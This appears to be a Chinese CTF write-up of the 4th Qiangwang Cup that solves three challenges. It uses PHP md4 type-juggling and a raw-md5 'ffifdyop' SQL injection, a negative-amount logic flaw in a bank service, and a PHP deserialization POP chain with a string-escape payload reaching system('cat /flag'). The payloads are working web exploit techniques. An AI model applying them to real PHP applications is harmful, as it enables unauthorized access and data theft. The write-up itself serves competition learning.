第四届“强网杯”全国网络安全挑战赛_部分WP
前言:
全靠大佬帶飛,自己菜的一批,還需繼續努力!,把覺得有必要記錄的記錄一下。
Funhash
<?php include 'conn.php'; highlight_file("index.php"); //level 1 if ($_GET["hash1"] != hash("md4", $_GET["hash1"])) {die('level 1 failed'); }//level 2 if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])) {die('level 2 failed'); }//level 3 $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'"; $result = $mysqli->query($query); $row = $result->fetch_assoc(); var_dump($row); $result->free(); $mysqli->close();?>level 2和level 3都比較常見,這里就不說了,主要是level 1,之前倒是沒見過這種的
$_GET["hash1"] != hash("md4", $_GET["hash1"])需要滿足輸入的參數經過md4加密后還等于其本身,在外網查資料發現
https://crdx.org/post/hsctf-2019-md5-minus-minus
由于字符串的md4散列不太可能與字符串本身相同,因此可以推測PHP的類型篡改系統可能會被濫用。然后通過暴力破解得到一個值,這個值便可以滿足這個條件
所以最終payload為:
http://39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop得到flag
bank
題目給出了nc的地址,連過去發現
是通過sha256函數加密的而且加鹽了,需要輸入XXX才能繼續,那只有爆破了,但使用普通的用戶腳本去爆破這三位非常浪費時間,而且這個程序是限時的,如果在規定的時間內沒有完成操作,就會被彈出,所以爆破一定要快,這里用Go語言的腳本
進入輸入隊伍的token和名字,可以得到以下幾個功能
直接獲取flag是不行的,必須多余1000元,而目前只有10元,查看hint是AES加密,其他的功能查看也是一堆沒用的信息,只有transact這個功能可以輸入,就從這個地方進行入手。
發現只是輸入名字和數字,就試試看看是否存在邏輯漏洞,輸入了負數發現確實存在此漏洞,于是輸入lemon1 -992這樣總錢數便超過了1000,便可以獲取flag了。
web輔助
題目給出了源碼,一共有四個文件,先來看下class.php。
準備知識:
__construct 當一個對象創建時被調用, __invoke() 當腳本嘗試將對象調用為函數時觸發 __destruct() 對象被銷毀時觸發 __wakeup() 使用unserialize時觸發 __toString 當一個對象被當作一個字符串被調用。private變量序列化后需要在變量名的左右手動添加不可見字符%00 protected變量序列化后需要在變量前的星號*左右手動添加不可見字符,使其成為%00*%00。class.php,這個文件便是入手點,要正確構造出pop鏈輸入才能獲取到flag
<?php class player{protected $user;protected $pass;protected $admin;public function __construct($user, $pass, $admin = 0){$this->user = $user;$this->pass = $pass;$this->admin = $admin;}public function get_admin(){return $this->admin;} }class topsolo{//上單protected $name;public function __construct($name = 'Riven'){$this->name = $name;}public function TP(){if (gettype($this->name) === "function" or gettype($this->name) === "object"){$name = $this->name;$name();}}public function __destruct(){$this->TP();}}class midsolo{//中單protected $name;public function __construct($name){$this->name = $name;}public function __wakeup(){if ($this->name !== 'Yasuo'){$this->name = 'Yasuo';echo "No Yasuo! No Soul!\n";}}public function __invoke(){$this->Gank();}public function Gank(){if (stristr($this->name, 'Yasuo')){echo "Are you orphan?\n";}else{echo "Must Be Yasuo!\n";}} }class jungle{//打野protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;}public function KS(){system("cat /flag");}public function __toString(){$this->KS(); return ""; }} ?>
審計代碼發現,想要的flag并不在魔法函數中,而是在jungle類中的一個普通函數,所以這里就是終點,從輸入開始最終要觸發__toString才能獲取到flag。
由上往下分析,topsolo類中將對象調用為函數,所以在new一個新對象的時候可以new midsolo類的對象,這樣就觸發了midsolo類中的__invoke魔法函數
接下來midsolo類再new一個jungle類的對象,因為stristr函數將對象當作字符串調用,所以觸發了jungle類中的魔法函數__toString,這樣便可以得到完整的pop鏈了。
執行順序:
topsolo:__destruct->midsolo:__invoke()->jungle:__toString如果不直觀的話可以看下圖(轉自星盟安全)
POP鏈的構造
<?php class topsolo{protected $name;public function __construct(){$this->name = new midsolo();} }class midsolo{protected $name;public function __construct($name){$this->name = new jungle();} } class jungle{protected $name = "";public function __construct($name = "Lee Sin"){$this->name = $name;} } $shy = new topsolo(); echo serialize($shy); ?>序列化結果為:
O:7:"topsolo":1:{s:7:"*name";O:7:"midsolo":1:{s:7:"*name";O:6:"jungle":1:{s:7:"*name";s:7:"Lee Sin";}}} 因為protected變量序列化后需要手動星號*左右手動添加不可見字符,使其成為%00*%00,所以最終的結果為: O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}這樣獲取flag的POP鏈構造好了,接下來就看要怎么運用了,繼續觀察代碼。
在index.php中,發現源碼對player類進行反序列化并寫入文件中
那便對player類進行序列化操作
序列化后的結果:
O:6:"player":3:{s:7:"%00*%00user";N;s:7:"%00*%00pass";N;s:8:"%00*%00admin";i:0;}在play.php中,調用該文件,并通過檢查后讀取文件最后進行反序列化操作
前面的都是正常的寫入和讀取沒有什么明顯的問題,最后再來看下common.php文件
發現存在反序列化字符串逃逸漏洞,因為過濾后字符變少,在寫入的時候是五個字符\0*\0,但當讀取的時候卻變成了chr(0)*chr(0)三個字符,所以吃掉了兩個字符。
原理這里就不再詳細解釋了,下面就開始進行構造
因為源碼中只對player類進行反序列化,所以我們要利用字符串逃逸漏洞將POP鏈給添加進去
因為%00是一個字符,而不是3個,所以POP鏈的長度為109,如果直接將POP鏈輸入的話
輸入的部分就進入了pass中,所以就要思考怎么將原來的這一部分給吃掉";s:7:"%00*%00pass";s:109:"長度為23,因為每次替換會減少2個字符,因此需要替換11.5次,但不可能會替換11.5次的,所以要再添加一個字符,成24個字符";s:7:"%00*%00pass";s:109:"1,這樣前面只要替換12次,這個原來password就要進入到user中,而我們構造的就會代替之前的password.
所以payload為
username=lemon\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 &password=1";s:7:"%00*%00pass";s:109:"1O:7:"topsolo":1:{s:7:"%00*%00name";O:7:"midsolo":1:{s:7:"%00*%00name";O:6:"jungle":1:{s:7:"%00*%00name";s:7:"Lee Sin";}}}";s:8:"%00*%00admin";i:0;}但是這樣的payload還是錯的,因為源碼中 check 函數過濾了關鍵字 name,
將序列化字符串中表示變量(名)為字符串的小寫 s 換為大寫 S,即可解析變量中的 16 進制\6e\61\6d\65(即 name)。
除此之外,還需要跳過
這個魔法函數,
所以最終的payload為
傳入到index.php,再查看play.php即可獲取到flag(這里是賽后qwzf大佬搭建的環境)
另外一個payload,把多的一位放在前面也可以
總結:
通過這次比賽學到很多東西,尤其是反序列化字符串逃逸,感謝qwzf大佬的耐心解答,繼續沖沖沖!
總結
以上是生活随笔為你收集整理的第四届“强网杯”全国网络安全挑战赛_部分WP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 提权学习之旅——Linux操作系统提权
- 下一篇: 浅析php反序列化字符串逃逸